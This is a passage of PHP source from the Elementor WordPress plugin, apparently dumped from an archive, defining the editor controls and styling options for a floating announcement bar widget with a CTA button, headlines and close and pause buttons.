has-animations'; } if ( $custom_classes ) { $layout_classnames .= ' ' . $custom_classes; } $this->add_layout_render_attribute( $layout_classnames ); } } modules/floating-buttons/widgets/floating-bars-var-1.php000064400000001642147206604650017363 0ustar00add_inline_editing_attributes( 'announcement_text', 'none' ); $this->add_inline_editing_attributes( 'cta_text', 'none' ); parent::render(); } } modules/floating-buttons/widgets/contact-buttons.php000064400000001263147206604650017035 0ustar00 true, ] ); } public static function get_configuration() { return [ 'content' => [ 'announcement_section' => [ 'icon_default' => [ 'value' => 'fas fa-tshirt', 'library' => 'fa-solid', ], 'text_label' => esc_html__( 'Text', 'elementor' ), 'text_default' => esc_html__( 'Just in! Cool summer tees', 'elementor' ), ], 'floating_bar_section' => [ 'close_switch_default' => 'yes', 'has_pause_switch' => false, 'accessible_name_default' => esc_html__( 'Banner', 'elementor' ), ], ], 'style' => [ 'floating_bar_section' => [ 'has_close_bg' => false, 'close_position_selectors' => [ '{{WRAPPER}} .e-floating-bars__close-button' => 'inset-inline-{{VALUE}}: 10px;', ], 'has_close_position_control' => true, 'background_selector' => '{{WRAPPER}} .e-floating-bars', 'align_elements_selector' => [ '{{WRAPPER}} .e-floating-bars' => 'justify-content: {{VALUE}};', '{{WRAPPER}} .e-floating-bars__cta-button-container' => 'justify-content: {{VALUE}};', '{{WRAPPER}} .e-floating-bars__announcement-text' => 'text-align: {{VALUE}};', ], ], ], 'advanced' => [], ]; } protected function register_controls(): void { $this->add_content_tab(); $this->add_style_tab(); $this->add_advanced_tab(); } protected function add_announcement_content_section(): void { $config = static::get_configuration(); $this->start_controls_section( 'announcement_content_section', [ 'label' => __( 'Announcement', 'elementor' ), 'tab' => Controls_Manager::TAB_CONTENT, ] ); $this->add_control( 'announcement_icon', [ 'label' => esc_html__( 'Icon', 'elementor' ), 'type' => Controls_Manager::ICONS, 'fa4compatibility' => 'icon', 'default' => $config['content']['announcement_section']['icon_default'], 'skin' => 'inline', 'label_block' => false, 'icon_exclude_inline_options' => [], ] ); $this->add_control( 'announcement_text', [ 'label' => $config['content']['announcement_section']['text_label'], 'type' => Controls_Manager::TEXTAREA, 'dynamic' => [ 'active' => true, ], 'placeholder' => esc_html__( 'Enter your text here', 'elementor' ), 'default' => $config['content']['announcement_section']['text_default'], ] ); $this->end_controls_section(); } protected function add_cta_button_content_section(): void { $this->start_controls_section( 'cta_button_content_section', [ 'label' => __( 'CTA Button', 'elementor' ), 'tab' => Controls_Manager::TAB_CONTENT, ] ); $this->add_control( 'cta_text', [ 'label' => esc_html__( 'Text', 'elementor' ), 'type' => Controls_Manager::TEXT, 'dynamic' => [ 'active' => true, ], 'placeholder' => esc_html__( 'Enter text', 'elementor' ), 'default' => esc_html__( 'Shop now', 'elementor' ), ], ); $this->add_control( 'cta_link', [ 'label' => esc_html__( 'Link', 'elementor' ), 'type' => Controls_Manager::URL, 'placeholder' => esc_html__( 'Paste URL or type', 'elementor' ), 'dynamic' => [ 'active' => true, ], 'default' => [ 'url' => '', 'is_external' => true, 'nofollow' => false, ], ] ); $this->add_control( 'cta_icon', [ 'label' => esc_html__( 'Icon', 'elementor' ), 'type' => Controls_Manager::ICONS, 'fa4compatibility' => 'icon', 'skin' => 'inline', 'label_block' => false, 'icon_exclude_inline_options' => [], ] ); $this->end_controls_section(); } protected function add_accessible_name_control(): void { $config = static::get_configuration(); $this->add_control( 'accessible_name', [ 'label' => esc_html__( 'Accessible Name', 'elementor' ), 'type' => Controls_Manager::TEXT, 'dynamic' => [ 'active' => true, ], 'placeholder' => esc_html__( 'Enter text', 'elementor' ), 'default' => $config['content']['floating_bar_section']['accessible_name_default'], 'condition' => [ 'floating_bar_close_switch' => 'yes', ], ], ); } protected function add_floating_bar_content_section(): void { $config = static::get_configuration(); $this->start_controls_section( 'floating_bar_content_section', [ 'label' => __( 'Floating Bar', 'elementor' ), 'tab' => Controls_Manager::TAB_CONTENT, ] ); if ( $config['content']['floating_bar_section']['has_pause_switch'] ) { $this->add_control( 'floating_bar_pause_switch', [ 'label' => esc_html__( 'Pause and Play', 'elementor' ), 'type' => Controls_Manager::SWITCHER, 'label_on' => esc_html__( 'Show', 'elementor' ), 'label_off' => esc_html__( 'Hide', 'elementor' ), 'return_value' => 'yes', 'default' => 'no', ] ); $this->add_control( 'floating_bar_pause_icon', [ 'label' => esc_html__( 'Pause Icon', 'elementor' ), 'type' => Controls_Manager::ICONS, 'fa4compatibility' => 'icon', 'default' => [ 'value' => 'fas fa-pause', 'library' => 'fa-solid', ], 'skin' => 'inline', 'label_block' => false, 'exclude_inline_options' => [ 'none' ], 'recommended' => [ 'fa-regular' => [ 'pause-circle', ], 'fa-solid' => [ 'pause-circle', ], ], 'condition' => [ 'floating_bar_pause_switch' => 'yes', ], ], ); $this->add_control( 'floating_bar_play_icon', [ 'label' => esc_html__( 'Play Icon', 'elementor' ), 'type' => Controls_Manager::ICONS, 'fa4compatibility' => 'icon', 'default' => [ 'value' => 'fas fa-play', 'library' => 'fa-solid', ], 'skin' => 'inline', 'label_block' => false, 'exclude_inline_options' => [ 'none' ], 'recommended' => [ 'fa-regular' => [ 'play-circle', ], 'fa-solid' => [ 'play-circle', ], ], 'condition' => [ 'floating_bar_pause_switch' => 'yes', ], ], ); } $this->add_control( 'floating_bar_close_switch', [ 'label' => esc_html__( 'Close Button', 'elementor' ), 'type' => Controls_Manager::SWITCHER, 'label_on' => esc_html__( 'Show', 'elementor' ), 'label_off' => esc_html__( 'Hide', 'elementor' ), 'return_value' => 'yes', 'default' => $config['content']['floating_bar_section']['close_switch_default'], ] ); $this->add_accessible_name_control(); $this->end_controls_section(); } protected function add_headlines_content_section(): void { $config = static::get_configuration(); $this->start_controls_section( 'headlines_content', [ 'label' => esc_html__( 'Headlines', 'elementor' ), 'tab' => Controls_Manager::TAB_CONTENT, ] ); $repeater = new Repeater(); $repeater->add_control( 'headlines_icon', [ 'label' => esc_html__( 'Icon', 'elementor' ), 'type' => Controls_Manager::ICONS, 'fa4compatibility' => 'icon', 'skin' => 'inline', 'label_block' => false, 'icon_exclude_inline_options' => [], ] ); $repeater->add_control( 'headlines_text', [ 'label' => esc_html__( 'Text', 'elementor' ), 'type' => Controls_Manager::TEXTAREA, 'placeholder' => esc_html__( 'Enter your text', 'elementor' ), 'default' => esc_html__( 'Item Title', 'elementor' ), 'dynamic' => [ 'active' => true, ], ] ); $repeater->add_control( 'headlines_url', [ 'label' => esc_html__( 'Link', 'elementor' ), 'type' => Controls_Manager::URL, 'placeholder' => esc_html__( 'Paste URL or type', 'elementor' ), 'dynamic' => [ 'active' => true, ], 'frontend_available' => true, ] ); $this->add_control( 'headlines_repeater', [ 'type' => Controls_Manager::REPEATER, 'fields' => $repeater->get_controls(), 'title_field' => '{{{ headlines_text }}}', 'prevent_empty' => true, 'button_text' => esc_html__( 'Add Item', 'elementor' ), 'default' => [ [ 'headlines_text' => esc_html__( 'Item #1', 'elementor' ), ], [ 'headlines_text' => esc_html__( 'Item #2', 'elementor' ), ], [ 'headlines_text' => esc_html__( 'Item #3', 'elementor' ), ], ], ] ); $this->end_controls_section(); } protected function add_announcement_style_section(): void { $config = static::get_configuration(); $this->start_controls_section( 'style_announcement', [ 'label' => esc_html__( 'Announcement', 'elementor' ), 'tab' => Controls_Manager::TAB_STYLE, ] ); $this->add_control( 'style_announcement_icon_heading', [ 'label' => esc_html__( 'Icon', 'elementor' ), 'type' => Controls_Manager::HEADING, 'conditions' => [ 'relation' => 'and', 'terms' => [ [ 'name' => 'announcement_icon[value]', 'operator' => '!==', 'value' => '', ], [ 'name' => 'announcement_icon[value]', 'operator' => '!==', 'value' => null, ], ], ], ] ); $this->add_control( 'style_announcement_icon_color', [ 'label' => esc_html__( 'Color', 'elementor' ), 'type' => Controls_Manager::COLOR, 'selectors' => [ '{{WRAPPER}} .e-floating-bars' => '--e-floating-bars-announcement-icon-color: {{VALUE}}', ], 'conditions' => [ 'relation' => 'and', 'terms' => [ [ 'name' => 'announcement_icon[value]', 'operator' => '!==', 'value' => '', ], [ 'name' => 'announcement_icon[value]', 'operator' => '!==', 'value' => null, ], ], ], ] ); $this->add_responsive_control( 'style_announcement_icon_position', [ 'label' => esc_html__( 'Position', 'elementor' ), 'type' => Controls_Manager::CHOOSE, 'options' => [ 'start' => [ 'title' => esc_html__( 'Left', 'elementor' ), 'icon' => 'eicon-h-align-left', ], 'end' => [ 'title' => esc_html__( 'Right', 'elementor' ), 'icon' => 'eicon-h-align-right', ], ], 'selectors' => [ '{{WRAPPER}} .e-floating-bars__announcement-icon' => 'order: {{VALUE}};', ], 'selectors_dictionary' => [ 'start' => '-1', 'end' => '2', ], 'default' => 'start', 'toggle' => false, 'conditions' => [ 'relation' => 'and', 'terms' => [ [ 'name' => 'announcement_icon[value]', 'operator' => '!==', 'value' => '', ], [ 'name' => 'announcement_icon[value]', 'operator' => '!==', 'value' => null, ], ], ], ] ); $this->add_responsive_control( 'style_announcement_icon_size', [ 'label' => esc_html__( 'Size', 'elementor' ), 'type' => Controls_Manager::SLIDER, 'range' => [ 'px' => [ 'min' => 0, 'max' => 150, ], ], 'size_units' => [ 'px', '%', 'em', 'rem', 'vw', 'custom' ], 'selectors' => [ '{{WRAPPER}} .e-floating-bars' => '--e-floating-bars-announcement-icon-size: {{SIZE}}{{UNIT}}', ], 'separator' => 'after', 'conditions' => [ 'relation' => 'and', 'terms' => [ [ 'name' => 'announcement_icon[value]', 'operator' => '!==', 'value' => '', ], [ 'name' => 'announcement_icon[value]', 'operator' => '!==', 'value' => null, ], ], ], ] ); $this->add_control( 'style_announcement_text_heading', [ 'label' => $config['content']['announcement_section']['text_label'], 'type' => Controls_Manager::HEADING, ] ); $this->add_group_control( Group_Control_Typography::get_type(), [ 'name' => 'style_announcement_text_typography', 'selector' => '{{WRAPPER}} .e-floating-bars__announcement-text', ] ); $this->add_control( 'style_announcement_text_color', [ 'label' => esc_html__( 'Color', 'elementor' ), 'type' => Controls_Manager::COLOR, 'selectors' => [ '{{WRAPPER}} .e-floating-bars' => '--e-floating-bars-announcement-text-color: {{VALUE}}', ], ] ); $this->end_controls_section(); } protected function add_cta_button_style_section(): void { $this->start_controls_section( 'style_cta_button', [ 'label' => esc_html__( 'CTA Button', 'elementor' ), 'tab' => Controls_Manager::TAB_STYLE, ] ); $this->add_control( 'style_cta_type', [ 'label' => esc_html__( 'Type', 'elementor' ), 'type' => Controls_Manager::SELECT, 'default' => 'button', 'options' => [ 'button' => esc_html__( 'Button', 'elementor' ), 'link' => esc_html__( 'Link', 'elementor' ), ], ] ); $this->add_responsive_control( 'style_cta_icon_position', [ 'label' => esc_html__( 'Icon Position', 'elementor' ), 'type' => Controls_Manager::CHOOSE, 'default' => is_rtl() ? 'row-reverse' : 'row', 'toggle' => false, 'options' => [ 'row' => [ 'title' => esc_html__( 'Start', 'elementor' ), 'icon' => 'eicon-h-align-left', ], 'row-reverse' => [ 'title' => esc_html__( 'End', 'elementor' ), 'icon' => 'eicon-h-align-right', ], ], 'selectors_dictionary' => [ 'left' => is_rtl() ? 'row-reverse' : 'row', 'right' => is_rtl() ? 'row' : 'row-reverse', ], 'selectors' => [ '{{WRAPPER}} .e-floating-bars__cta-button' => 'flex-direction: {{VALUE}};', ], 'condition' => [ 'cta_icon[value]!' => '', ], ] ); $this->add_control( 'style_cta_icon_spacing', [ 'label' => esc_html__( 'Icon Spacing', 'elementor' ), 'type' => Controls_Manager::SLIDER, 'size_units' => [ 'px', 'em', 'rem', 'custom' ], 'range' => [ 'px' => [ 'max' => 50, ], 'em' => [ 'max' => 5, ], 'rem' => [ 'max' => 5, ], ], 'selectors' => [ '{{WRAPPER}} .e-floating-bars' => '--e-floating-bars-cta-button-icon-gap: {{SIZE}}{{UNIT}};', ], 'conditions' => [ 'relation' => 'and', 'terms' => [ [ 'name' => 'cta_icon[value]', 'operator' => '!==', 'value' => '', ], [ 'name' => 'cta_icon[value]', 'operator' => '!==', 'value' => null, ], ], ], ] ); $this->add_group_control( Group_Control_Typography::get_type(), [ 'name' => 'style_cta_typography', 'selector' => '{{WRAPPER}} .e-floating-bars__cta-button', ] ); $this->start_controls_tabs( 'style_cta_button_tabs' ); $this->start_controls_tab( 'style_cta_button_tabs_normal', [ 'label' => esc_html__( 'Normal', 'elementor' ), ] ); $this->add_control( 'style_cta_button_text_color', [ 'label' => esc_html__( 'Text Color', 'elementor' ), 'type' => Controls_Manager::COLOR, 'selectors' => [ '{{WRAPPER}} .e-floating-bars' => '--e-floating-bars-cta-button-text-color: {{VALUE}}', ], ] ); $this->add_control( 'style_cta_button_bg_color', [ 'label' => esc_html__( 'Background Color', 'elementor' ), 'type' => Controls_Manager::COLOR, 'selectors' => [ '{{WRAPPER}} .e-floating-bars' => '--e-floating-bars-cta-button-bg-color: {{VALUE}}', ], 'condition' => [ 'style_cta_type' => 'button', ], ] ); $this->end_controls_tab(); $this->start_controls_tab( 'style_cta_button_tabs_hover', [ 'label' => esc_html__( 'Hover', 'elementor' ), ] ); $this->add_control( 'style_cta_button_text_color_hover', [ 'label' => esc_html__( 'Text Color', 'elementor' ), 'type' => Controls_Manager::COLOR, 'selectors' => [ '{{WRAPPER}} .e-floating-bars' => '--e-floating-bars-cta-button-text-color-hover: {{VALUE}}', ], ] ); $this->add_control( 'style_cta_button_bg_color_hover', [ 'label' => esc_html__( 'Background Color', 'elementor' ), 'type' => Controls_Manager::COLOR, 'selectors' => [ '{{WRAPPER}} .e-floating-bars' => '--e-floating-bars-cta-button-bg-color-hover: {{VALUE}}', ], 'condition' => [ 'style_cta_type' => 'button', ], ] ); $this->add_control( 'style_cta_button_border_color_hover', [ 'label' => esc_html__( 'Border Color', 'elementor' ), 'type' => Controls_Manager::COLOR, 'selectors' => [ '{{WRAPPER}} .e-floating-bars' => '--e-floating-bars-cta-button-border-color-hover: {{VALUE}}', ], 'conditions' => [ 'relation' => 'and', 'terms' => [ [ 'name' => 'style_cta_button_show_border', 'operator' => '===', 'value' => 'yes', ], [ 'name' => 'style_cta_type', 'operator' => '===', 'value' => 'button', ], ], ], ] ); $this->add_control( 'style_cta_button_hover_animation', [ 'label' => esc_html__( 'Hover Animation', 'elementor' ), 'type' => Controls_Manager::HOVER_ANIMATION, 'frontend_available' => true, ] ); $this->end_controls_tab(); $this->end_controls_tabs(); $this->add_control( 'style_cta_button_show_border', [ 'label' => esc_html__( 'Border', 'elementor' ), 'type' => Controls_Manager::SWITCHER, 'label_on' => esc_html__( 'Yes', 'elementor' ), 'label_off' => esc_html__( 'No', 'elementor' ), 'return_value' => 'yes', 'default' => 'yes', 'separator' => 'before', 'condition' => [ 'style_cta_type' => 'button', ], ] ); $this->add_responsive_control( 'style_cta_button_border_width', [ 'label' => esc_html__( 'Border Width', 'elementor' ), 'type' => Controls_Manager::SLIDER, 'range' => [ '%' => [ 'min' => 10, 'max' => 100, ], 'px' => [ 'min' => 0, 'max' => 10, ], ], 'size_units' => [ 'px', '%', 'em', 'rem', 'vw', 'custom' ], 'selectors' => [ '{{WRAPPER}} .e-floating-bars' => '--e-floating-bars-cta-button-border-width: {{SIZE}}{{UNIT}}', ], 'conditions' => [ 'relation' => 'and', 'terms' => [ [ 'name' => 'style_cta_button_show_border', 'operator' => '===', 'value' => 'yes', ], [ 'name' => 'style_cta_type', 'operator' => '===', 'value' => 'button', ], ], ], ] ); $this->add_control( 'style_cta_button_border_color', [ 'label' => esc_html__( 'Border Color', 'elementor' ), 'type' => Controls_Manager::COLOR, 'selectors' => [ '{{WRAPPER}} .e-floating-bars' => '--e-floating-bars-cta-button-border-color: {{VALUE}}', ], 'conditions' => [ 'relation' => 'and', 'terms' => [ [ 'name' => 'style_cta_button_show_border', 'operator' => '===', 'value' => 'yes', ], [ 'name' => 'style_cta_type', 'operator' => '===', 'value' => 'button', ], ], ], ] ); $this->add_control( 'style_cta_button_corners', [ 'label' => esc_html__( 'Corners', 'elementor' ), 'type' => Controls_Manager::SELECT, 'default' => 'round', 'options' => [ 'round' => esc_html__( 'Round', 'elementor' ), 'rounded' => esc_html__( 'Rounded', 'elementor' ), 'sharp' => esc_html__( 'Sharp', 'elementor' ), ], 'condition' => [ 'style_cta_type' => 'button', ], ] ); $this->add_responsive_control( 'style_cta_button_padding', [ 'label' => esc_html__( 'Padding', 'elementor' ), 'type' => Controls_Manager::DIMENSIONS, 'size_units' => [ 'px', '%', 'em', 'rem' ], 'selectors' => [ '{{WRAPPER}} .e-floating-bars' => '--e-floating-bars-cta-button-padding-block-end: {{BOTTOM}}{{UNIT}}; --e-floating-bars-cta-button-padding-block-start: {{TOP}}{{UNIT}}; --e-floating-bars-cta-button-padding-inline-end: {{RIGHT}}{{UNIT}}; --e-floating-bars-cta-button-padding-inline-start: {{LEFT}}{{UNIT}};', ], 'separator' => 'before', 'condition' => [ 'style_cta_type' => 'button', ], ] ); $this->add_responsive_control( 'style_cta_button_animation', [ 'label' => esc_html__( 'Entrance Animation', 'elementor' ), 'type' => Controls_Manager::ANIMATION, 'frontend_available' => true, 'separator' => 'before', ] ); $this->add_control( 'style_cta_button_animation_duration', [ 'label' => esc_html__( 'Animation Duration', 'elementor' ), 'type' => Controls_Manager::SELECT, 'default' => '1000', 'options' => [ '2000' => esc_html__( 'Slow', 'elementor' ), '1000' => esc_html__( 'Normal', 'elementor' ), '800' => esc_html__( 'Fast', 'elementor' ), ], 'selectors' => [ '{{WRAPPER}} .e-floating-bars' => '--e-floating-bars-cta-button-animation-duration: {{VALUE}}ms', ], 'prefix_class' => 'animated-', 'conditions' => [ 'relation' => 'and', 'terms' => [ [ 'name' => 'style_cta_button_animation', 'operator' => '!==', 'value' => '', ], [ 'name' => 'style_cta_button_animation', 'operator' => '!==', 'value' => 'none', ], ], ], ] ); $this->add_control( 'style_cta_button_animation_delay', [ 'label' => esc_html__( 'Animation Delay', 'elementor' ) . ' (ms)', 'type' => Controls_Manager::NUMBER, 'min' => 0, 'step' => 100, 'selectors' => [ '{{WRAPPER}} .e-floating-bars' => '--e-floating-bars-cta-button-animation-delay: {{SIZE}}ms;', ], 'render_type' => 'none', 'frontend_available' => true, 'conditions' => [ 'relation' => 'and', 'terms' => [ [ 'name' => 'style_cta_button_animation', 'operator' => '!==', 'value' => '', ], [ 'name' => 'style_cta_button_animation', 'operator' => '!==', 'value' => 'none', ], ], ], ] ); $this->end_controls_section(); } protected function add_floating_bar_background_style_controls(): void { $config = static::get_configuration(); $this->add_control( 'floating_bar_background_heading', [ 'label' => esc_html__( 'Background', 'elementor' ), 'type' => Controls_Manager::HEADING, 'separator' => 'before', ] ); $this->add_group_control( Group_Control_Background::get_type(), [ 'name' => 'floating_bar_background_type', 'types' => [ 'classic', 'gradient' ], 'selector' => $config['style']['floating_bar_section']['background_selector'], 'fields_options' => [ 'background' => [ 'default' => 'classic', ], 'position' => [ 'default' => 'center center', ], 'size' => [ 'default' => 'cover', ], ], ] ); $this->add_control( 'floating_bar_background_overlay_heading', [ 'label' => esc_html__( 'Background Overlay', 'elementor' ), 'type' => Controls_Manager::HEADING, 'separator' => 'before', ] ); $this->add_group_control( Group_Control_Background::get_type(), [ 'name' => 'floating_bar_background_overlay_type', 'types' => [ 'classic', 'gradient' ], 'selector' => '{{WRAPPER}} .e-floating-bars__overlay', 'fields_options' => [ 'background' => [ 'default' => 'classic', ], 'position' => [ 'default' => 'center center', ], 'size' => [ 'default' => 'cover', ], ], ] ); $this->add_responsive_control( 'floating_bar_background_overlay_opacity', [ 'label' => esc_html__( 'Opacity', 'elementor' ), 'type' => Controls_Manager::SLIDER, 'range' => [ '%' => [ 'max' => 1, 'min' => 0, 'step' => 0.01, ], ], 'default' => [ 'unit' => '%', 'size' => 0.5, ], 'selectors' => [ '{{WRAPPER}} .e-floating-bars' => '--e-floating-bars-background-overlay-opacity: {{SIZE}};', ], ] ); } protected function add_floating_bar_close_button_style_controls(): void { $config = static::get_configuration(); $this->add_control( 'floating_bar_close_button_heading', [ 'label' => esc_html__( 'Close Button', 'elementor' ), 'type' => Controls_Manager::HEADING, 'separator' => 'before', 'condition' => [ 'floating_bar_close_switch' => 'yes', ], ] ); if ( $config['style']['floating_bar_section']['has_close_position_control'] ) { $this->add_responsive_control( 'floating_bar_close_button_position', [ 'label' => esc_html__( 'Horizontal position', 'elementor' ), 'type' => Controls_Manager::CHOOSE, 'options' => [ 'start' => [ 'title' => esc_html__( 'Left', 'elementor' ), 'icon' => 'eicon-h-align-left', ], 'end' => [ 'title' => esc_html__( 'Right', 'elementor' ), 'icon' => 'eicon-h-align-right', ], ], 'default' => 'end', 'toggle' => false, 'selectors' => $config['style']['floating_bar_section']['close_position_selectors'], 'condition' => [ 'floating_bar_close_switch' => 'yes', ], ] ); } $this->add_control( 'floating_bar_close_button_color', [ 'label' => esc_html__( 'Color', 'elementor' ), 'type' => Controls_Manager::COLOR, 'selectors' => [ '{{WRAPPER}} .e-floating-bars' => '--e-floating-bars-close-button-color: {{VALUE}}', ], 'condition' => [ 'floating_bar_close_switch' => 'yes', ], ] ); $this->add_responsive_control( 'style_floating_bar_close_button_size', [ 'label' => esc_html__( 'Size', 'elementor' ), 'type' => Controls_Manager::SLIDER, 'range' => [ 'px' => [ 'min' => 0, 'max' => 150, ], ], 'size_units' => [ 'px', '%', 'em', 'rem', 'vw', 'custom' ], 'selectors' => [ '{{WRAPPER}} .e-floating-bars' => '--e-floating-bars-close-icon-size: {{SIZE}}{{UNIT}}', ], 'condition' => [ 'floating_bar_close_switch' => 'yes', ], ] ); if ( $config['style']['floating_bar_section']['has_close_bg'] ) { $this->add_control( 'floating_bar_close_bg_color', [ 'label' => esc_html__( 'Background Color', 'elementor' ), 'type' => Controls_Manager::COLOR, 'selectors' => [ '{{WRAPPER}} .e-floating-bars' => '--e-floating-bars-close-button-bg-color: {{VALUE}}', ], 'condition' => [ 'floating_bar_close_switch' => 'yes', ], 'separator' => 'after', ] ); } } protected function add_floating_bar_pause_style_controls(): void { $config = static::get_configuration(); $this->add_control( 'floating_bar_pause_button_heading', [ 'label' => esc_html__( 'Pause and Play', 'elementor' ), 'type' => Controls_Manager::HEADING, 'condition' => [ 'floating_bar_pause_switch' => 'yes', ], ] ); $this->add_control( 'floating_bar_pause_button_color', [ 'label' => esc_html__( 'Icon Color', 'elementor' ), 'type' => Controls_Manager::COLOR, 'selectors' => [ '{{WRAPPER}} .e-floating-bars' => '--e-floating-bars-pause-play-icon-color: {{VALUE}}', ], 'condition' => [ 'floating_bar_pause_switch' => 'yes', ], ] ); $this->add_control( 'floating_bar_pause_bg_color', [ 'label' => esc_html__( 'Background Color', 'elementor' ), 'type' => Controls_Manager::COLOR, 'selectors' => [ '{{WRAPPER}} .e-floating-bars' => '--e-floating-bars-pause-play-bg-color: {{VALUE}}', ], 'condition' => [ 'floating_bar_pause_switch' => 'yes', ], ] ); } protected function add_floating_bar_style_section(): void { $config = static::get_configuration(); $this->start_controls_section( 'style_floating_bar', [ 'label' => esc_html__( 'Floating Bar', 'elementor' ), 'tab' => Controls_Manager::TAB_STYLE, ] ); $this->add_floating_bar_close_button_style_controls(); $this->add_responsive_control( 'style_floating_bar_elements_align', [ 'label' => esc_html__( 'Align Elements', 'elementor' ), 'type' => Controls_Manager::CHOOSE, 'toggle' => false, 'default' => 'center', 'options' => [ 'start' => [ 'title' => esc_html__( 'Start', 'elementor' ), 'icon' => 'eicon-align-start-h', ], 'center' => [ 'title' => esc_html__( 'Center', 'elementor' ), 'icon' => 'eicon-align-center-h', ], 'end' => [ 'title' => esc_html__( 'End', 'elementor' ), 'icon' => 'eicon-align-end-h', ], 'space-between' => [ 'title' => esc_html__( 'Stretch', 'elementor' ), 'icon' => 'eicon-align-stretch-h', ], ], 'selectors' => $config['style']['floating_bar_section']['align_elements_selector'], 'separator' => 'before', ] ); $this->add_responsive_control( 'style_floating_bar_elements_spacing', [ 'label' => esc_html__( 'Element spacing', 'elementor' ), 'type' => Controls_Manager::SLIDER, 'range' => [ 'px' => [ 'min' => 0, 'max' => 50, ], ], 'size_units' => [ 'px', '%', 'em', 'rem', 'vw', 'custom' ], 'selectors' => [ '{{WRAPPER}} .e-floating-bars' => '--e-floating-bars-elements-gap: {{SIZE}}{{UNIT}}', ], 'conditions' => [ 'relation' => 'and', 'terms' => [ [ 'name' => 'style_floating_bar_elements_align', 'operator' => '!==', 'value' => 'stretch', ], ], ], ] ); $this->add_responsive_control( 'style_floating_bar_elements_padding', [ 'label' => esc_html__( 'Padding', 'elementor' ), 'type' => Controls_Manager::DIMENSIONS, 'size_units' => [ 'px', '%', 'em', 'rem' ], 'selectors' => [ '{{WRAPPER}} .e-floating-bars' => '--e-floating-bars-elements-padding-block-end: {{BOTTOM}}{{UNIT}}; --e-floating-bars-elements-padding-block-start: {{TOP}}{{UNIT}}; --e-floating-bars-elements-padding-inline-end: {{RIGHT}}{{UNIT}}; --e-floating-bars-elements-padding-inline-start: {{LEFT}}{{UNIT}};', ], ] ); $this->add_floating_bar_background_style_controls(); $this->end_controls_section(); } protected function add_headlines_style_section(): void { $this->start_controls_section( 'style_headlines', [ 'label' => esc_html__( 'Headline', 'elementor' ), 'tab' => Controls_Manager::TAB_STYLE, ] ); $this->add_control( 'style_headlines_icon_heading', [ 'label' => esc_html__( 'Icon', 'elementor' ), 'type' => Controls_Manager::HEADING, ] ); $this->add_control( 'style_headlines_icon_color', [ 'label' => esc_html__( 'Color', 'elementor' ), 'type' => Controls_Manager::COLOR, 'selectors' => [ '{{WRAPPER}} .e-floating-bars' => '--e-floating-bars-headline-icon-color: {{VALUE}}', ], ] ); $this->add_responsive_control( 'style_headlines_icon_position', [ 'label' => esc_html__( 'Icon Position', 'elementor' ), 'type' => Controls_Manager::CHOOSE, 'default' => is_rtl() ? 'row-reverse' : 'row', 'toggle' => false, 'options' => [ 'row' => [ 'title' => esc_html__( 'Start', 'elementor' ), 'icon' => 'eicon-h-align-left', ], 'row-reverse' => [ 'title' => esc_html__( 'End', 'elementor' ), 'icon' => 'eicon-h-align-right', ], ], 'selectors_dictionary' => [ 'row' => is_rtl() ? 'row-reverse' : 'row', 'row-reverse' => is_rtl() ? 'row' : 'row-reverse', ], 'selectors' => [ '{{WRAPPER}} .e-floating-bars__headline' => '--e-floating-bars-headline-icon-position: {{VALUE}};', ], ] ); $this->add_responsive_control( 'style_headlines_icon_size', [ 'label' => esc_html__( 'Size', 'elementor' ), 'type' => Controls_Manager::SLIDER, 'range' => [ 'px' => [ 'min' => 0, 'max' => 150, ], ], 'size_units' => [ 'px', '%', 'em', 'rem', 'vw', 'custom' ], 'selectors' => [ '{{WRAPPER}} .e-floating-bars' => '--e-floating-bars-headline-icon-size: {{SIZE}}{{UNIT}}', ], ] ); $this->add_responsive_control( 'style_headlines_icon_spacing', [ 'label' => esc_html__( 'Icon Spacing', 'elementor' ), 'type' => Controls_Manager::SLIDER, 'size_units' => [ 'px', 'em', 'rem', 'custom' ], 'range' => [ 'px' => [ 'max' => 50, ], 'em' => [ 'max' => 5, ], 'rem' => [ 'max' => 5, ], ], 'selectors' => [ '{{WRAPPER}} .e-floating-bars' => '--e-floating-bars-headline-icon-gap: {{SIZE}}{{UNIT}}', ], ] ); $this->add_control( 'style_headline_text_heading', [ 'label' => esc_html__( 'Text', 'elementor' ), 'type' => Controls_Manager::HEADING, 'separator' => 'before', ] ); $this->add_group_control( Group_Control_Typography::get_type(), [ 'name' => 'style_headline_text_typography', 'selector' => '{{WRAPPER}} .e-floating-bars__headline-text', ] ); $this->start_controls_tabs( 'style_headline_tabs' ); $this->start_controls_tab( 'style_headline_tabs_normal', [ 'label' => esc_html__( 'Normal', 'elementor' ), ] ); $this->add_control( 'style_headline_text_color', [ 'label' => esc_html__( 'Text Color', 'elementor' ), 'type' => Controls_Manager::COLOR, 'selectors' => [ '{{WRAPPER}} .e-floating-bars' => '--e-floating-bars-headline-text-color: {{VALUE}}', ], ] ); $this->end_controls_tab(); $this->start_controls_tab( 'style_headline_tabs_hover', [ 'label' => esc_html__( 'Hover', 'elementor' ), ] ); $this->add_control( 'style_headline_text_color_hover', [ 'label' => esc_html__( 'Text Color', 'elementor' ), 'type' => Controls_Manager::COLOR, 'selectors' => [ '{{WRAPPER}} .e-floating-bars' => '--e-floating-bars-headline-text-color-hover: {{VALUE}}', ], ] ); $this->end_controls_tab(); $this->end_controls_tabs(); $this->end_controls_section(); } protected function add_advanced_tab(): void { Controls_Manager::add_tab( static::TAB_ADVANCED, esc_html__( 'Advanced', 'elementor' ) ); $this->start_controls_section( 'advanced_layout_section', [ 'label' => esc_html__( 'Layout', 'elementor' ), 'tab' => static::TAB_ADVANCED, ] ); $this->add_control( 'advanced_vertical_position', [ 'label' => esc_html__( 'Vertical Position', 'elementor' ), 'type' => Controls_Manager::CHOOSE, 'options' => [ 'top' => [ 'title' => esc_html__( 'Top', 'elementor' ), 'icon' => 'eicon-v-align-top', ], 'bottom' => [ 'title' => esc_html__( 'Bottom', 'elementor' ), 'icon' => 'eicon-v-align-bottom', ], ], 'default' => 'top', 'toggle' => false, ] ); $this->add_control( 'advanced_toggle_sticky', [ 'label' => esc_html__( 'Sticky', 'elementor' ), 'type' => Controls_Manager::SWITCHER, 'label_on' => esc_html__( 'Yes', 'elementor' ), 'label_off' => esc_html__( 'No', 'elementor' ), 'return_value' => 'yes', 'default' => 'yes', ] ); $this->end_controls_section(); $this->start_controls_section( 'advanced_responsive_section', [ 'label' => esc_html__( 'Responsive', 'elementor' ), 'tab' => static::TAB_ADVANCED, ] ); $this->add_control( 'responsive_description', [ 'raw' => __( 'Responsive visibility will take effect only on preview mode or live page, and not while editing in Elementor.', 'elementor' ), 'type' => Controls_Manager::RAW_HTML, 'content_classes' => 'elementor-descriptor', ] ); $this->add_hidden_device_controls(); 